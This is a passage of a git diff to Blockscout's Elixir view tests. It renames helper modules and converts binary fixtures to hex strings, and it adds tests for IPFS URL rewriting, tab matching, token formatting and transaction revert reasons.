Decimal.new(205_000) - decimals = Decimal.new(12) - - assert CurrencyHelpers.format_according_to_decimals(amount, decimals) == "0.000000205" - end - - test "does not consider right zeros in decimal places" do - amount = Decimal.new(90_000_000) - decimals = Decimal.new(6) - - assert CurrencyHelpers.format_according_to_decimals(amount, decimals) == "90" - end - - test "returns the full number when there is no right zeros in decimal places" do - amount = Decimal.new(9_324_876) - decimals = Decimal.new(6) - - assert CurrencyHelpers.format_according_to_decimals(amount, decimals) == "9.324876" - end - - test "formats the value considering thousands separators" do - amount = Decimal.new(1_000_450) - decimals = Decimal.new(2) - - assert CurrencyHelpers.format_according_to_decimals(amount, decimals) == "10,004.5" - end - - test "supports value as integer" do - amount = 1_000_450 - decimals = Decimal.new(2) - - assert CurrencyHelpers.format_according_to_decimals(amount, decimals) == "10,004.5" - end - - test "considers 0 when decimals is nil" do - amount = 1_000_450 - decimals = nil - - assert CurrencyHelpers.format_according_to_decimals(amount, decimals) == "1,000,450" - end - end - - describe "format_integer_to_currency/1" do - test "formats the integer value to a currency format" do - assert CurrencyHelpers.format_integer_to_currency(9000) == "9,000" - end - end - - describe "divide_decimals/2" do - test "divide by the given decimal amount" do - result = CurrencyHelpers.divide_decimals(Decimal.new(1000), Decimal.new(3)) - expected_result = Decimal.new(1) - assert Decimal.compare(result, expected_result) == :eq - end - - test "work when number of decimals is bigger than the number's digits" do - result = CurrencyHelpers.divide_decimals(Decimal.new(1000), Decimal.new(5)) - expected_result = Decimal.from_float(0.01) - assert Decimal.compare(result, expected_result) == :eq - end - - test "return the same number when number of decimals is 0" do - result = CurrencyHelpers.divide_decimals(Decimal.new(1000), Decimal.new(0)) - expected_result = Decimal.new(1000) - assert Decimal.compare(result, expected_result) == :eq - end - end -end diff --git a/apps/block_scout_web/test/block_scout_web/views/error_helper_test.exs b/apps/block_scout_web/test/block_scout_web/views/error_helper_test.exs new file mode 100644 index 000000000000..7aac3cffee7d --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/views/error_helper_test.exs @@ -0,0 +1,42 @@ +defmodule BlockScoutWeb.ErrorHelperTest do + use BlockScoutWeb.ConnCase, async: true + import Phoenix.HTML.Tag, only: [content_tag: 3] + + alias BlockScoutWeb.ErrorHelper + + @changeset %{ + errors: [ + contract_code: {"has already been taken", []} + ] + } + + describe "error_tag tests" do + test "error_tag/2 renders spans with default options" do + assert ErrorHelper.error_tag(@changeset, :contract_code) == [ + content_tag(:span, "has already been taken", class: "has-error") + ] + end + + test "error_tag/3 overrides default options" do + assert ErrorHelper.error_tag(@changeset, :contract_code, class: "something-else") == [ + content_tag(:span, "has already been taken", class: "something-else") + ] + end + + test "error_tag/3 merges given options with default ones" do + assert ErrorHelper.error_tag(@changeset, :contract_code, data_hidden: true) == [ + content_tag(:span, "has already been taken", class: "has-error", data_hidden: true) + ] + end + end + + describe "translate_error/1 tests" do + test "returns errors" do + assert ErrorHelper.translate_error({"test", []}) == "test" + end + + test "returns errors with count" do + assert ErrorHelper.translate_error({"%{count} test", [count: 1]}) == "1 test" + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/views/error_helpers_test.exs b/apps/block_scout_web/test/block_scout_web/views/error_helpers_test.exs deleted file mode 100644 index ffa3899fbaf4..000000000000 --- a/apps/block_scout_web/test/block_scout_web/views/error_helpers_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -defmodule BlockScoutWeb.ErrorHelpersTest do - use BlockScoutWeb.ConnCase, async: true - import Phoenix.HTML.Tag, only: [content_tag: 3] - - alias BlockScoutWeb.ErrorHelpers - - @changeset %{ - errors: [ - contract_code: {"has already been taken", []} - ] - } - - describe "error_tag tests" do - test "error_tag/2 renders spans with default options" do - assert ErrorHelpers.error_tag(@changeset, :contract_code) == [ - content_tag(:span, "has already been taken", class: "has-error") - ] - end - - test "error_tag/3 overrides default options" do - assert ErrorHelpers.error_tag(@changeset, :contract_code, class: "something-else") == [ - content_tag(:span, "has already been taken", class: "something-else") - ] - end - - test "error_tag/3 merges given options with default ones" do - assert ErrorHelpers.error_tag(@changeset, :contract_code, data_hidden: true) == [ - content_tag(:span, "has already been taken", class: "has-error", data_hidden: true) - ] - end - end - - describe "translate_error/1 tests" do - test "returns errors" do - assert ErrorHelpers.translate_error({"test", []}) == "test" - end - - test "returns errors with count" do - assert ErrorHelpers.translate_error({"%{count} test", [count: 1]}) == "1 test" - end - end -end diff --git a/apps/block_scout_web/test/block_scout_web/views/nft_helper_test.exs b/apps/block_scout_web/test/block_scout_web/views/nft_helper_test.exs new file mode 100644 index 000000000000..3af434c0a42b --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/views/nft_helper_test.exs @@ -0,0 +1,29 @@ +defmodule BlockScoutWeb.NFTHelperTest do + use BlockScoutWeb.ConnCase, async: true + + alias BlockScoutWeb.NFTHelper + + describe "compose_resource_url/1" do + test "transforms ipfs link like ipfs://${id}" do + url = "ipfs://QmYFf7D2UtqnNz8Lu57Gnk3dxgdAiuboPWMEaNNjhr29tS/hidden.png" + + assert "https://ipfs.io/ipfs/QmYFf7D2UtqnNz8Lu57Gnk3dxgdAiuboPWMEaNNjhr29tS/hidden.png" == + NFTHelper.compose_resource_url(url) + end + + test "transforms ipfs link like ipfs://ipfs" do + # cspell:disable-next-line + url = "ipfs://ipfs/Qmbgk4Ps5kiVdeYCHufMFgqzWLFuovFRtenY5P8m9vr9XW/animation.mp4" + + assert "https://ipfs.io/ipfs/Qmbgk4Ps5kiVdeYCHufMFgqzWLFuovFRtenY5P8m9vr9XW/animation.mp4" == + NFTHelper.compose_resource_url(url) + end + + test "transforms ipfs link in different case" do + url = "IpFs://baFybeid4ed2ua7fwupv4nx2ziczr3edhygl7ws3yx6y2juon7xakgj6cfm/51.json" + + assert "https://ipfs.io/ipfs/baFybeid4ed2ua7fwupv4nx2ziczr3edhygl7ws3yx6y2juon7xakgj6cfm/51.json" == + NFTHelper.compose_resource_url(url) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/views/render_helper_test.exs b/apps/block_scout_web/test/block_scout_web/views/render_helper_test.exs new file mode 100644 index 000000000000..491d2fbcae22 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/views/render_helper_test.exs @@ -0,0 +1,22 @@ +defmodule BlockScoutWeb.RenderHelperTest do + use BlockScoutWeb.ConnCase, async: true + + alias BlockScoutWeb.{BlockView, RenderHelper} + + describe "render_partial/1" do + test "renders text" do + assert "test" == RenderHelper.render_partial("test") + end + + test "renders the proper partial when view_module, partial and args are given" do + block = build(:block) + + assert {:safe, _} = + RenderHelper.render_partial( + view_module: BlockView, + partial: "_link.html", + block: block + ) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/views/render_helpers_test.exs b/apps/block_scout_web/test/block_scout_web/views/render_helpers_test.exs deleted file mode 100644 index 5cc0d1f32ec2..000000000000 --- a/apps/block_scout_web/test/block_scout_web/views/render_helpers_test.exs +++ /dev/null @@ -1,22 +0,0 @@ -defmodule BlockScoutWeb.RenderHelpersTest do - use BlockScoutWeb.ConnCase, async: true - - alias BlockScoutWeb.{BlockView, RenderHelpers} - - describe "render_partial/1" do - test "renders text" do - assert "test" == RenderHelpers.render_partial("test") - end - - test "renders the proper partial when view_module, partial and args are given" do - block = build(:block) - - assert {:safe, _} = - RenderHelpers.render_partial( - view_module: BlockView, - partial: "_link.html", - block: block - ) - end - end -end diff --git a/apps/block_scout_web/test/block_scout_web/views/smart_contract_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/smart_contract_view_test.exs index 7ba53f18ced2..cb63435730b2 100644 --- a/apps/block_scout_web/test/block_scout_web/views/smart_contract_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/smart_contract_view_test.exs @@ -8,47 +8,32 @@ defmodule BlockScoutWeb.SmartContractViewTest do describe "values_with_type/1" do test "complex data type case" do value = - {<<156, 209, 70, 119, 249, 170, 85, 105, 179, 187, 179, 81, 252, 214, 125, 17, 21, 170, 86, 58, 225, 98, 66, - 118, 211, 212, 230, 127, 179, 214, 249, 38>>, 23_183_417, true, + {"0x9cd14677f9aa5569b3bbb351fcd67d1115aa563ae1624276d3d4e67fb3d6f926", 23_183_417, true, [ {<<164, 118, 64, 69, 133, 31, 23, 170, 96, 182, 200, 232, 182, 32, 114, 190, 169, 83, 133, 33>>, [ - <<15, 103, 152, 165, 96, 121, 58, 84, 195, 188, 254, 134, 169, 60, 222, 30, 115, 8, 125, 148, 76, 14, 162, - 5, 68, 19, 125, 65, 33, 57, 104, 133>>, - <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 191, 61, 111, 131, 12, 226, 99, 202, 233, 135, 25, 57, 130, 25, 44, - 217, 144, 68, 43, 83>> - ], - <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 170, 178, 96, 212, 241, 78, 0, 0>>}, + "0x0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885", + "0x000000000000000000000000bf3d6f830ce263cae987193982192cd990442b53" + ], "0x000000000000000000000000000000000000000000000000aab260d4f14e0000"}, {<<164, 118, 64, 69, 133, 31, 23, 170, 96, 182, 200, 232, 182, 32, 114, 190, 169, 83, 133, 33>>, [ - <<221, 242, 82, 173, 27, 226, 200, 155, 105, 194, 176, 104, 252, 55, 141, 170, 149, 43, 167, 241, 99, 196, - 161, 22, 40, 245, 90, 77, 245, 35, 179, 239>>, - <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0>>, - <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 191, 61, 111, 131, 12, 226, 99, 202, 233, 135, 25, 57, 130, 25, 44, - 217, 144, 68, 43, 83>> - ], - <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 170, 178, 96, 212, 241, 78, 0, 0>>}, + "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000bf3d6f830ce263cae987193982192cd990442b53" + ], "0x000000000000000000000000000000000000000000000000aab260d4f14e0000"}, {<<166, 139, 214, 89, 169, 22, 127, 61, 60, 1, 186, 151, 118, 161, 32, 141, 174, 143, 0, 59>>, [ - <<47, 154, 96, 152, 212, 80, 58, 18, 119, 121, 186, 151, 95, 95, 107, 4, 248, 66, 54, 43, 24, 9, 243, 70, - 152, 158, 154, 188, 11, 77, 237, 182>>, - <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 191, 61, 111, 131, 12, 226, 99, 202, 233, 135, 25, 57, 130, 25, 44, - 217, 144, 68, 43, 83>>, - <<0, 5, 0, 0, 36, 155, 252, 47, 60, 200, 214, 143, 107, 107, 247, 35, 14, 160, 168, 237, 133, 61, 231, 49, - 0, 0, 0, 0, 0, 0, 2, 79>> - ], - <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 170, 178, 96, 212, 241, 78, 0, 0>>}, + "0x2f9a6098d4503a127779ba975f5f6b04f842362b1809f346989e9abc0b4dedb6", + "0x000000000000000000000000bf3d6f830ce263cae987193982192cd990442b53", + "0x00050000249bfc2f3cc8d68f6b6bf7230ea0a8ed853de731000000000000024f" + ], "0x000000000000000000000000000000000000000000000000aab260d4f14e0000"}, {<<254, 68, 107, 239, 29, 191, 122, 254, 36, 232, 30, 5, 188, 139, 39, 28, 27, 169, 165, 96>>, [ - <<39, 51, 62, 219, 139, 220, 212, 10, 10, 233, 68, 251, 18, 27, 94, 45, 98, 234, 120, 38, 131, 148, 102, - 84, 160, 245, 230, 7, 169, 8, 213, 120>>, - <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, 95, 197, 45, 138, 86, 59, 47, 24, 28, 106, 82, 125, 66, 46, 21, - 146, 201, 236, 250>>, - <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 166, 139, 214, 89, 169, 22, 127, 61, 60, 1, 186, 151, 118, 161, 32, - 141, 174, 143, 0, 59>>, - <<0, 5, 0, 0, 36, 155, 252, 47, 60, 200, 214, 143, 107, 107, 247, 35, 14, 160, 168, 237, 133, 61, 231, 49, - 0, 0, 0, 0, 0, 0, 2, 79>> - ], <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1>>} + "0x27333edb8bdcd40a0ae944fb121b5e2d62ea782683946654a0f5e607a908d578", + "0x0000000000000000000000002a5fc52d8a563b2f181c6a527d422e1592c9ecfa", + "0x000000000000000000000000a68bd659a9167f3d3c01ba9776a1208dae8f003b", + "0x00050000249bfc2f3cc8d68f6b6bf7230ea0a8ed853de731000000000000024f" + ], "0x0000000000000000000000000000000000000000000000000000000000000001"} ]} type = "tuple[bytes32,uint256,bool,tuple[address,bytes32[],bytes][]]" diff --git a/apps/block_scout_web/test/block_scout_web/views/tab_helper_test.exs b/apps/block_scout_web/test/block_scout_web/views/tab_helper_test.exs new file mode 100644 index 000000000000..8cfe4e036e57 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/views/tab_helper_test.exs @@ -0,0 +1,57 @@ +defmodule BlockScoutWeb.TabHelperTest do + use ExUnit.Case + + alias BlockScoutWeb.TabHelper + + doctest BlockScoutWeb.TabHelper, import: true + + describe "tab_status/2" do + test "returns \"active\" if the tab is active" do + tab_name = "token-transfers" + request_path = "/page/0xSom3tH1ng/token-transfers/?additional_params=blah" + + assert TabHelper.tab_status(tab_name, request_path) == "active" + end + + test "returns nil if the tab is not active" do + tab_name = "internal-transactions" + request_path = "/page/0xSom3tH1ng/token-transfers/?additional_params=blah" + + assert TabHelper.tab_status(tab_name, request_path) == nil + end + end + + describe "tab_active?/2" do + test "returns true if the tab name is in the path" do + tab_name = "token-transfers" + request_path = "/page/0xSom3tH1ng/token-transfers/?additional_params=blah" + + assert TabHelper.tab_active?(tab_name, request_path) + end + + test "matches the tab name at any path level" do + tab_name_1 = "token-transfers" + tab_name_2 = "tokens" + request_path = "/page/0xSom3tH1ng/tokens/0xLuc4S/token-transfers/0xd4uMl1Gu1" + + assert TabHelper.tab_active?(tab_name_1, request_path) + assert TabHelper.tab_active?(tab_name_2, request_path) + end + + test "matches only the exact tab name to avoid ambiguity" do + tab_name = "transactions" + request_path_1 = "/page/0xSom3tH1ng/transactions" + request_path_2 = "/page/0xSom3tH1ng/internal-transactions" + + assert TabHelper.tab_active?(tab_name, request_path_1) + refute TabHelper.tab_active?(tab_name, request_path_2) + end + + test "returns nil if the tab name is not in the path" do + tab_name = "internal_transactions" + request_path = "/page/0xSom3tH1ng/token-transfers/?additional_params=blah" + + refute TabHelper.tab_active?(tab_name, request_path) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/views/tab_helpers_test.exs b/apps/block_scout_web/test/block_scout_web/views/tab_helpers_test.exs deleted file mode 100644 index bb497f1cc17e..000000000000 --- a/apps/block_scout_web/test/block_scout_web/views/tab_helpers_test.exs +++ /dev/null @@ -1,57 +0,0 @@ -defmodule BlockScoutWeb.TabHelpersTest do - use ExUnit.Case - - alias BlockScoutWeb.TabHelpers - - doctest BlockScoutWeb.TabHelpers, import: true - - describe "tab_status/2" do - test "returns \"active\" if the tab is active" do - tab_name = "token-transfers" - request_path = "/page/0xSom3tH1ng/token-transfers/?additional_params=blah" - - assert TabHelpers.tab_status(tab_name, request_path) == "active" - end - - test "returns nil if the tab is not active" do - tab_name = "internal-transactions" - request_path = "/page/0xSom3tH1ng/token-transfers/?additional_params=blah" - - assert TabHelpers.tab_status(tab_name, request_path) == nil - end - end - - describe "tab_active?/2" do - test "returns true if the tab name is in the path" do - tab_name = "token-transfers" - request_path = "/page/0xSom3tH1ng/token-transfers/?additional_params=blah" - - assert TabHelpers.tab_active?(tab_name, request_path) - end - - test "matches the tab name at any path level" do - tab_name_1 = "token-transfers" - tab_name_2 = "tokens" - request_path = "/page/0xSom3tH1ng/tokens/0xLuc4S/token-transfers/0xd4uMl1Gu1" - - assert TabHelpers.tab_active?(tab_name_1, request_path) - assert TabHelpers.tab_active?(tab_name_2, request_path) - end - - test "matches only the exact tab name to avoid ambiguity" do - tab_name = "transactions" - request_path_1 = "/page/0xSom3tH1ng/transactions" - request_path_2 = "/page/0xSom3tH1ng/internal-transactions" - - assert TabHelpers.tab_active?(tab_name, request_path_1) - refute TabHelpers.tab_active?(tab_name, request_path_2) - end - - test "returns nil if the tab name is not in the path" do - tab_name = "internal_transactions" - request_path = "/page/0xSom3tH1ng/token-transfers/?additional_params=blah" - - refute TabHelpers.tab_active?(tab_name, request_path) - end - end -end diff --git a/apps/block_scout_web/test/block_scout_web/views/tokens/helper_test.exs b/apps/block_scout_web/test/block_scout_web/views/tokens/helper_test.exs new file mode 100644 index 000000000000..bcf41d9d4660 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/views/tokens/helper_test.exs @@ -0,0 +1,72 @@ +defmodule BlockScoutWeb.Tokens.HelperTest do + use BlockScoutWeb.ConnCase, async: true + + alias BlockScoutWeb.Tokens.Helper + + describe "token_transfer_amount/1" do + test "returns the symbol -- with ERC-20 token and amount nil" do + token = build(:token, type: "ERC-20") + token_transfer = build(:token_transfer, token: token, amount: nil) + + assert Helper.token_transfer_amount(token_transfer) == {:ok, "--"} + end + + test "returns the formatted amount according to token decimals with ERC-20 token" do + token = build(:token, type: "ERC-20", decimals: Decimal.new(6)) + token_transfer = build(:token_transfer, token: token, amount: Decimal.new(1_000_000)) + + assert Helper.token_transfer_amount(token_transfer) == {:ok, "1"} + end + + test "returns the formatted amount when the decimals is nil with ERC-20 token" do + token = build(:token, type: "ERC-20", decimals: nil) + token_transfer = build(:token_transfer, token: token, amount: Decimal.new(1_000_000)) + + assert Helper.token_transfer_amount(token_transfer) == {:ok, "1,000,000"} + end + + test "returns a string with the token_id with ERC-721 token" do + token = build(:token, type: "ERC-721", decimals: nil) + token_transfer = build(:token_transfer, token: token, amount: nil, token_ids: [1], token_type: "ERC-721") + + assert Helper.token_transfer_amount(token_transfer) == {:ok, :erc721_instance} + end + + test "returns nothing for unknown token's type" do + token = build(:token, type: "unknown") + token_transfer = build(:token_transfer, token: token, token_type: "unknown") + + assert Helper.token_transfer_amount(token_transfer) == nil + end + end + + describe "token_symbol/1" do + test "returns the token symbol" do + token = build(:token, symbol: "BAT") + + assert Helper.token_symbol(token) == "BAT" + end + + test "returns the token contract address hash when the symbol is nil" do + address = build(:address, hash: "de3fa0f9f8d47790ce88c2b2b82ab81f79f2e65f") + token = build(:token, symbol: nil, contract_address_hash: address.hash) + + assert Helper.token_symbol(token) == "0xde3fa0-f2e65f" + end + end + + describe "token_name/1" do + test "returns the token name" do + token = build(:token, name: "Batman") + + assert Helper.token_name(token) == "Batman" + end + + test "returns the token contract address hash when the name is nil" do + address = build(:address, hash: "de3fa0f9f8d47790ce88c2b2b82ab81f79f2e65f") + token = build(:token, name: nil, contract_address_hash: address.hash) + + assert Helper.token_name(token) == "0xde3fa0-f2e65f" + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/views/tokens/helpers_test.exs b/apps/block_scout_web/test/block_scout_web/views/tokens/helpers_test.exs deleted file mode 100644 index 947c3c7dde36..000000000000 --- a/apps/block_scout_web/test/block_scout_web/views/tokens/helpers_test.exs +++ /dev/null @@ -1,72 +0,0 @@ -defmodule BlockScoutWeb.Tokens.HelpersTest do - use BlockScoutWeb.ConnCase, async: true - - alias BlockScoutWeb.Tokens.Helpers - - describe "token_transfer_amount/1" do - test "returns the symbol -- with ERC-20 token and amount nil" do - token = build(:token, type: "ERC-20") - token_transfer = build(:token_transfer, token: token, amount: nil) - - assert Helpers.token_transfer_amount(token_transfer) == {:ok, "--"} - end - - test "returns the formatted amount according to token decimals with ERC-20 token" do - token = build(:token, type: "ERC-20", decimals: Decimal.new(6)) - token_transfer = build(:token_transfer, token: token, amount: Decimal.new(1_000_000)) - - assert Helpers.token_transfer_amount(token_transfer) == {:ok, "1"} - end - - test "returns the formatted amount when the decimals is nil with ERC-20 token" do - token = build(:token, type: "ERC-20", decimals: nil) - token_transfer = build(:token_transfer, token: token, amount: Decimal.new(1_000_000)) - - assert Helpers.token_transfer_amount(token_transfer) == {:ok, "1,000,000"} - end - - test "returns a string with the token_id with ERC-721 token" do - token = build(:token, type: "ERC-721", decimals: nil) - token_transfer = build(:token_transfer, token: token, amount: nil, token_id: 1) - - assert Helpers.token_transfer_amount(token_transfer) == {:ok, :erc721_instance} - end - - test "returns nothing for unknown token's type" do - token = build(:token, type: "unknown") - token_transfer = build(:token_transfer, token: token) - - assert Helpers.token_transfer_amount(token_transfer) == nil - end - end - - describe "token_symbol/1" do - test "returns the token symbol" do - token = build(:token, symbol: "BAT") - - assert Helpers.token_symbol(token) == "BAT" - end - - test "returns the token contract address hash when the symbol is nil" do - address = build(:address, hash: "de3fa0f9f8d47790ce88c2b2b82ab81f79f2e65f") - token = build(:token, symbol: nil, contract_address_hash: address.hash) - - assert Helpers.token_symbol(token) == "0xde3fa0-f2e65f" - end - end - - describe "token_name/1" do - test "returns the token name" do - token = build(:token, name: "Batman") - - assert Helpers.token_name(token) == "Batman" - end - - test "returns the token contract address hash when the name is nil" do - address = build(:address, hash: "de3fa0f9f8d47790ce88c2b2b82ab81f79f2e65f") - token = build(:token, name: nil, contract_address_hash: address.hash) - - assert Helpers.token_name(token) == "0xde3fa0-f2e65f" - end - end -end diff --git a/apps/block_scout_web/test/block_scout_web/views/tokens/overview_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/tokens/overview_view_test.exs index 13a0320a87ea..45f691023677 100644 --- a/apps/block_scout_web/test/block_scout_web/views/tokens/overview_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/tokens/overview_view_test.exs @@ -144,7 +144,7 @@ defmodule BlockScoutWeb.Tokens.OverviewViewTest do token = :token |> build(decimals: Decimal.new(0), total_supply: Decimal.new(20)) - |> Map.put(:usd_value, Decimal.new(10)) + |> Map.put(:fiat_value, Decimal.new(10)) |> Map.put(:custom_cap, nil) result = OverviewView.total_supply_usd(token) @@ -156,7 +156,7 @@ defmodule BlockScoutWeb.Tokens.OverviewViewTest do token = :token |> build(decimals: Decimal.new(1), total_supply: Decimal.new(20)) - |> Map.put(:usd_value, Decimal.new(10)) + |> Map.put(:fiat_value, Decimal.new(10)) |> Map.put(:custom_cap, nil) result = OverviewView.total_supply_usd(token) diff --git a/apps/block_scout_web/test/block_scout_web/views/tokens/smart_contract_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/tokens/smart_contract_view_test.exs index 1b4efce24450..cefba8b98cdf 100644 --- a/apps/block_scout_web/test/block_scout_web/views/tokens/smart_contract_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/tokens/smart_contract_view_test.exs @@ -1,8 +1,6 @@ defmodule BlockScoutWeb.Tokens.SmartContractViewTest do use BlockScoutWeb.ConnCase, async: true - @max_size Enum.at(Tuple.to_list(Application.get_env(:block_scout_web, :max_size_to_show_array_as_is)), 0) - alias BlockScoutWeb.SmartContractView describe "queryable?" do @@ -130,12 +128,4 @@ defmodule BlockScoutWeb.Tokens.SmartContractViewTest do refute SmartContractView.named_argument?(arguments) end end - - defp wrap_it(output, length \\ -1) do - if length > @max_size do - "
    Click to view#{output}
    " - else - "#{output}" - end - end end diff --git a/apps/block_scout_web/test/block_scout_web/views/transaction_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/transaction_view_test.exs index 9b16ef3a542d..ea53a2a970a7 100644 --- a/apps/block_scout_web/test/block_scout_web/views/transaction_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/transaction_view_test.exs @@ -1,6 +1,8 @@ defmodule BlockScoutWeb.TransactionViewTest do use BlockScoutWeb.ConnCase, async: true + import Mox + alias Explorer.Chain.Wei alias Explorer.Repo alias BlockScoutWeb.{BlockView, TransactionView} @@ -35,7 +37,7 @@ defmodule BlockScoutWeb.TransactionViewTest do assert pending.inserted_at == TransactionView.block_timestamp(pending) end - test "returns timestamp for block for collacted transaction" do + test "returns timestamp for block for collated transaction" do block = insert(:block) transaction = @@ -136,7 +138,7 @@ defmodule BlockScoutWeb.TransactionViewTest do gas_used: nil ) - expected_value = "Max of 0.009 Ether" + expected_value = "Max of 0.009 ETH" assert expected_value == TransactionView.formatted_fee(transaction, denomination: :ether) end @@ -144,7 +146,7 @@ defmodule BlockScoutWeb.TransactionViewTest do {:ok, gas_price} = Wei.cast(3_000_000_000) transaction = build(:transaction, gas_price: gas_price, gas_used: Decimal.from_float(1_034_234.0)) - expected_value = "0.003102702 Ether" + expected_value = "0.003102702 ETH" assert expected_value == TransactionView.formatted_fee(transaction, denomination: :ether) end end @@ -192,7 +194,7 @@ defmodule BlockScoutWeb.TransactionViewTest do |> insert() |> with_block(block, status: :error) - insert(:pending_block_operation, block_hash: block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: block.hash, block_number: block.number) status = TransactionView.transaction_status(transaction) assert TransactionView.formatted_result(status) == "Error: (Awaiting internal transactions for reason)" @@ -276,9 +278,9 @@ defmodule BlockScoutWeb.TransactionViewTest do token = insert(:token) - token_transfer1 = insert(:token_transfer, transaction: transaction, token: token, token_id: 1, amount: nil) - token_transfer2 = insert(:token_transfer, transaction: transaction, token: token, token_id: 2, amount: nil) - token_transfer3 = insert(:token_transfer, transaction: transaction, token: token, token_id: 3, amount: nil) + token_transfer1 = insert(:token_transfer, transaction: transaction, token: token, token_ids: [1], amount: nil) + token_transfer2 = insert(:token_transfer, transaction: transaction, token: token, token_ids: [2], amount: nil) + token_transfer3 = insert(:token_transfer, transaction: transaction, token: token, token_ids: [3], amount: nil) result = TransactionView.aggregate_token_transfers([token_transfer1, token_transfer2, token_transfer3]) @@ -286,4 +288,96 @@ defmodule BlockScoutWeb.TransactionViewTest do assert List.first(result.transfers).amount == nil end end + + describe "transaction_revert_reason/2" do + test "handles transactions with gas_price set to nil" do + transaction = + :transaction + |> insert(error: "execution reverted") + |> with_block() + |> Map.put(:gas_price, nil) + + hex_reason = + "0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002b556e69737761705632526f757465723a20494e53554646494349454e545f4f55545055545f414d4f554e54000000000000000000000000000000000000000000" + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn + [%{method: "debug_traceTransaction"}], _options -> + {:ok, + [ + %{ + id: 0, + result: %{ + "from" => "0x6a17ca3bbf83764791f4a9f2b4dbbaebbc8b3e0d", + "gas" => "0x5208", + "gasUsed" => "0x5208", + "input" => "0x01", + "output" => hex_reason, + "to" => "0x7ed1e469fcb3ee19c0366d829e291451be638e59", + "type" => "CALL", + "value" => "0x86b3" + } + } + ]} + + [%{method: "trace_replayTransaction"}], _options -> + {:ok, + [ + %{ + id: 0, + result: %{ + "output" => "0x", + "stateDiff" => nil, + "trace" => [ + %{ + "action" => %{ + "callType" => "call", + "from" => "0x6a17ca3bbf83764791f4a9f2b4dbbaebbc8b3e0d", + "gas" => "0x5208", + "input" => "0x01", + "to" => "0x7ed1e469fcb3ee19c0366d829e291451be638e59", + "value" => "0x86b3" + }, + "error" => "Reverted", + "result" => %{ + "gasUsed" => "0x5208", + "output" => hex_reason + }, + "subtraces" => 0, + "traceAddress" => [], + "type" => "call" + } + ], + "transactionHash" => "0xdf5574290913659a1ac404ccf2d216c40587f819400a52405b081dda728ac120", + "vmTrace" => nil + } + } + ]} + + %{method: "eth_call"}, _options -> + {:error, + %{ + code: 3, + data: hex_reason, + message: "execution reverted" + }} + end + ) + + init_config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, tracer: "call_tracer", debug_trace_timeout: "5s") + + revert_reason = TransactionView.transaction_revert_reason(transaction, nil) + + assert revert_reason == + {:ok, "08c379a0", "Error(string reason)", + [ + {"reason", "string", "UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT"} + ]} + + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, init_config) + end + end end diff --git a/apps/block_scout_web/test/block_scout_web/views/wei_helper_test.exs b/apps/block_scout_web/test/block_scout_web/views/wei_helper_test.exs new file mode 100644 index 000000000000..e2b0425add04 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/views/wei_helper_test.exs @@ -0,0 +1,8 @@ +defmodule BlockScoutWeb.WeiHelperTest do + use ExUnit.Case + + # Needed for doctest + alias Explorer.Chain.Wei + + doctest BlockScoutWeb.WeiHelper, import: true +end diff --git a/apps/block_scout_web/test/block_scout_web/views/wei_helpers_test.exs b/apps/block_scout_web/test/block_scout_web/views/wei_helpers_test.exs deleted file mode 100644 index 1453e7f40efe..000000000000 --- a/apps/block_scout_web/test/block_scout_web/views/wei_helpers_test.exs +++ /dev/null @@ -1,8 +0,0 @@ -defmodule BlockScoutWeb.WeiHelpersTest do - use ExUnit.Case - - # Needed for doctest - alias Explorer.Chain.Wei - - doctest BlockScoutWeb.WeiHelpers, import: true -end diff --git a/apps/block_scout_web/test/support/api_schema_assertions.ex b/apps/block_scout_web/test/support/api_schema_assertions.ex new file mode 100644 index 000000000000..0d4465cc88a6 --- /dev/null +++ b/apps/block_scout_web/test/support/api_schema_assertions.ex @@ -0,0 +1,113 @@ +defmodule BlockScoutWeb.TestApiSchemaAssertions 